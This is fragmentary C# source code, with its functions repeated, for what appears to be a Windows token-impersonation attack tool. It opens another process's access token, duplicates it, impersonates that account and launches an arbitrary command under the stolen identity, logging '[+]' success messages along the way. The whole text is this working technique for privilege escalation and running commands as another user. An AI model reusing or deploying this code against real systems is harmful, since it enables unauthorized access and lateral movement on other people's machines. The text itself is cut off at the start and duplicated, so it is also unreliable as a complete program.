}//end of public Boolean ImpersonateAndExecute(Int32 processID, String command) private static Boolean ExecuteCommand(IntPtr userAccountHandle, String command) { //general structs we need, would prefer to use NULL but .NET doesnt like it. Win32API.PROCESS_INFORMATION _ProcessInfo = new Win32API.PROCESS_INFORMATION(); Win32API.SECURITY_ATTRIBUTES _ProcesSecurityAttributes = new Win32API.SECURITY_ATTRIBUTES(); Win32API.SECURITY_ATTRIBUTES _ThreadSecurityAttributes = new Win32API.SECURITY_ATTRIBUTES(); _ProcesSecurityAttributes.nLength = Marshal.SizeOf(_ProcesSecurityAttributes); _ThreadSecurityAttributes.nLength = Marshal.SizeOf(_ThreadSecurityAttributes); Win32API.STARTUP_INFO _AppStartupInfo = new Win32API.STARTUP_INFO(); _AppStartupInfo.cb = Marshal.SizeOf(_AppStartupInfo); //todo: is there a better method of selecting _AppStartupInfo.lpDesktop = @"WinSta0\Default"; //we want the defalt desktop _AppStartupInfo.dwFlags = Win32API.STARTF_USESHOWWINDOW | Win32API.STARTF_FORCEONFEEDBACK; _AppStartupInfo.wShowWindow = Win32API.SW_SHOW; //todo: load the user profile so i can access MyDocuments and other profile information //execute a new process with the token if (Win32API.CreateProcessWithTokenW(userAccountHandle, Win32API.LOGON_FLAGS.LOGON_NETCREDENTIALS_ONLY, null, command, Win32API.CREATION_FLAGS.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref _AppStartupInfo, out _ProcessInfo)) { Console.WriteLine("[+] Successfully Executed Command '{0}' With Process ID '{1}", command, _ProcessInfo.dwProcessId); return(true); } Console.WriteLine("## ERROR ## - Problem Executing Command!\nWin32 Error: '{0}'", Marshal.GetLastWin32Error()); return(false); }
/// <summary> /// Impersonate Specified User & Execute A Command /// </summary> /// <param name="processID">Process ID Which You Want To Impersonate</param> /// <param name="command">Command You Want To Execute</param> /// <returns>Was Execution Successful</returns> public static Boolean ImpersonateAndExecute(Int32 processID, String command) { Boolean _Errored = false; IntPtr _TokenHandle = IntPtr.Zero; IntPtr _DuplicateTokenHandle = IntPtr.Zero; //get the handle to the process IntPtr _ProcessIDHandle = Process.GetProcessById(processID).Handle; //have we obtained a valid handle? if (_ProcessIDHandle == IntPtr.Zero) { Console.WriteLine("## ERROR ## - Unable To Get Handle For Process ID '{0}', Aborting..", processID); return(false); }//end of if //open the process and attempt to obtain the token. if (Win32API.OpenProcessToken(_ProcessIDHandle, Win32API.TOKEN_ASSIGN_PRIMARY | Win32API.TOKEN_DUPLICATE | Win32API.TOKEN_IMPERSONATE | Win32API.TOKEN_QUERY, out _TokenHandle) == false) { Console.WriteLine("## ERROR ## - Trying To Open Process ID '{0}' Handle..\nError '{1}'", processID, Marshal.GetLastWin32Error()); return(false); }//end of if //do we have a valid token handle? if (_TokenHandle == IntPtr.Zero) { Console.WriteLine("## ERROR ## - Opened Token For Process ID '{0}' However Handle Is Invalid, Aborting..", processID); return(false); } //Instantiate the process handle so we can resolve the account context WindowsIdentity _ProcessAccountID = new WindowsIdentity(_TokenHandle); Console.WriteLine("[+] Successfully Opened Process ID '{0}' Handle", processID); try { Win32API.SECURITY_ATTRIBUTES _SecuirtyAttributes = new Win32API.SECURITY_ATTRIBUTES(); _SecuirtyAttributes.nLength = Marshal.SizeOf(_SecuirtyAttributes); //we need to duplicate the primary token if (Win32API.DuplicateTokenEx(_TokenHandle, Win32API.TOKEN_ALL_ACCESS, ref _SecuirtyAttributes, Win32API.SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, Win32API.TOKEN_TYPE.TokenPrimary, out _DuplicateTokenHandle) == false) { Console.WriteLine("## ERROR ## - Attempting To Duplicate Process Token..\nWin32 Error: {0}", Marshal.GetLastWin32Error()); return(false); }//end of if //do we have a valid token if (_DuplicateTokenHandle == IntPtr.Zero) { Console.WriteLine("## ERROR ## - Token Duplication Failed!\nWin32 Error: {0}", Marshal.GetLastWin32Error()); return(false); }//end of if //Who Was I Again? :D WindowsImpersonationContext _ImpersonationContext = _ProcessAccountID.Impersonate(); Console.WriteLine("[+] Impersonation Successful!\n[+] Account Token ID Is '{0}', Impersonated Account Is '{1}'", WindowsIdentity.GetCurrent().Token, WindowsIdentity.GetCurrent().Name); return(ExecuteCommand(_DuplicateTokenHandle, command)); } catch (Exception ex) { Console.WriteLine("## ERROR ## - Something Went Wrong Duplicating The Process Token!\nWin32 Error: '{0}'", ex.Message); _Errored = true; } finally { //clean up after ourselves if (_TokenHandle != IntPtr.Zero) { Win32API.CloseHandle(_TokenHandle); } }//end of try-catch-finally //catch it here because i always want the finally clase to execute //you cannot jump out of the finally block if (_Errored) { return(false); } //default catchall return(false); }//end of public Boolean ImpersonateAndExecute(Int32 processID, String command)
private static Boolean ExecuteCommand(IntPtr userAccountHandle, String command) { //general structs we need, would prefer to use NULL but .NET doesnt like it. Win32API.PROCESS_INFORMATION _ProcessInfo = new Win32API.PROCESS_INFORMATION(); Win32API.SECURITY_ATTRIBUTES _ProcesSecurityAttributes = new Win32API.SECURITY_ATTRIBUTES(); Win32API.SECURITY_ATTRIBUTES _ThreadSecurityAttributes = new Win32API.SECURITY_ATTRIBUTES(); _ProcesSecurityAttributes.nLength = Marshal.SizeOf(_ProcesSecurityAttributes); _ThreadSecurityAttributes.nLength = Marshal.SizeOf(_ThreadSecurityAttributes); Win32API.STARTUP_INFO _AppStartupInfo = new Win32API.STARTUP_INFO(); _AppStartupInfo.cb = Marshal.SizeOf(_AppStartupInfo); //todo: is there a better method of selecting _AppStartupInfo.lpDesktop = @"WinSta0\Default"; //we want the defalt desktop _AppStartupInfo.dwFlags = Win32API.STARTF_USESHOWWINDOW | Win32API.STARTF_FORCEONFEEDBACK; _AppStartupInfo.wShowWindow = Win32API.SW_SHOW; //todo: load the user profile so i can access MyDocuments and other profile information //execute a new process with the token if (Win32API.CreateProcessWithTokenW(userAccountHandle, Win32API.LOGON_FLAGS.LOGON_NETCREDENTIALS_ONLY, null, command, Win32API.CREATION_FLAGS.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref _AppStartupInfo, out _ProcessInfo)) { Console.WriteLine("[+] Successfully Executed Command '{0}' With Process ID '{1}", command, _ProcessInfo.dwProcessId); return true; } Console.WriteLine("## ERROR ## - Problem Executing Command!\nWin32 Error: '{0}'", Marshal.GetLastWin32Error()); return false; }
/// <summary> /// Impersonate Specified User & Execute A Command /// </summary> /// <param name="processID">Process ID Which You Want To Impersonate</param> /// <param name="command">Command You Want To Execute</param> /// <returns>Was Execution Successful</returns> public static Boolean ImpersonateAndExecute(Int32 processID, String command) { Boolean _Errored = false; IntPtr _TokenHandle = IntPtr.Zero; IntPtr _DuplicateTokenHandle = IntPtr.Zero; //get the handle to the process IntPtr _ProcessIDHandle = Process.GetProcessById(processID).Handle; //have we obtained a valid handle? if (_ProcessIDHandle == IntPtr.Zero) { Console.WriteLine("## ERROR ## - Unable To Get Handle For Process ID '{0}', Aborting..", processID); return false; }//end of if //open the process and attempt to obtain the token. if (Win32API.OpenProcessToken(_ProcessIDHandle, Win32API.TOKEN_ASSIGN_PRIMARY | Win32API.TOKEN_DUPLICATE | Win32API.TOKEN_IMPERSONATE | Win32API.TOKEN_QUERY, out _TokenHandle) == false) { Console.WriteLine("## ERROR ## - Trying To Open Process ID '{0}' Handle..\nError '{1}'", processID, Marshal.GetLastWin32Error()); return false; }//end of if //do we have a valid token handle? if (_TokenHandle == IntPtr.Zero) { Console.WriteLine("## ERROR ## - Opened Token For Process ID '{0}' However Handle Is Invalid, Aborting..", processID); return false; } //Instantiate the process handle so we can resolve the account context WindowsIdentity _ProcessAccountID = new WindowsIdentity(_TokenHandle); Console.WriteLine("[+] Successfully Opened Process ID '{0}' Handle", processID); try { Win32API.SECURITY_ATTRIBUTES _SecuirtyAttributes = new Win32API.SECURITY_ATTRIBUTES(); _SecuirtyAttributes.nLength = Marshal.SizeOf(_SecuirtyAttributes); //we need to duplicate the primary token if (Win32API.DuplicateTokenEx(_TokenHandle, Win32API.TOKEN_ALL_ACCESS, ref _SecuirtyAttributes, Win32API.SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, Win32API.TOKEN_TYPE.TokenPrimary, out _DuplicateTokenHandle) == false) { Console.WriteLine("## ERROR ## - Attempting To Duplicate Process Token..\nWin32 Error: {0}", Marshal.GetLastWin32Error()); return false; }//end of if //do we have a valid token if (_DuplicateTokenHandle == IntPtr.Zero) { Console.WriteLine("## ERROR ## - Token Duplication Failed!\nWin32 Error: {0}", Marshal.GetLastWin32Error()); return false; }//end of if //Who Was I Again? :D WindowsImpersonationContext _ImpersonationContext = _ProcessAccountID.Impersonate(); Console.WriteLine("[+] Impersonation Successful!\n[+] Account Token ID Is '{0}', Impersonated Account Is '{1}'", WindowsIdentity.GetCurrent().Token, WindowsIdentity.GetCurrent().Name); return ExecuteCommand(_DuplicateTokenHandle, command); } catch (Exception ex) { Console.WriteLine("## ERROR ## - Something Went Wrong Duplicating The Process Token!\nWin32 Error: '{0}'", ex.Message); _Errored = true; } finally { //clean up after ourselves if (_TokenHandle != IntPtr.Zero) { Win32API.CloseHandle(_TokenHandle); } }//end of try-catch-finally //catch it here because i always want the finally clase to execute //you cannot jump out of the finally block if (_Errored) { return false; } //default catchall return false; }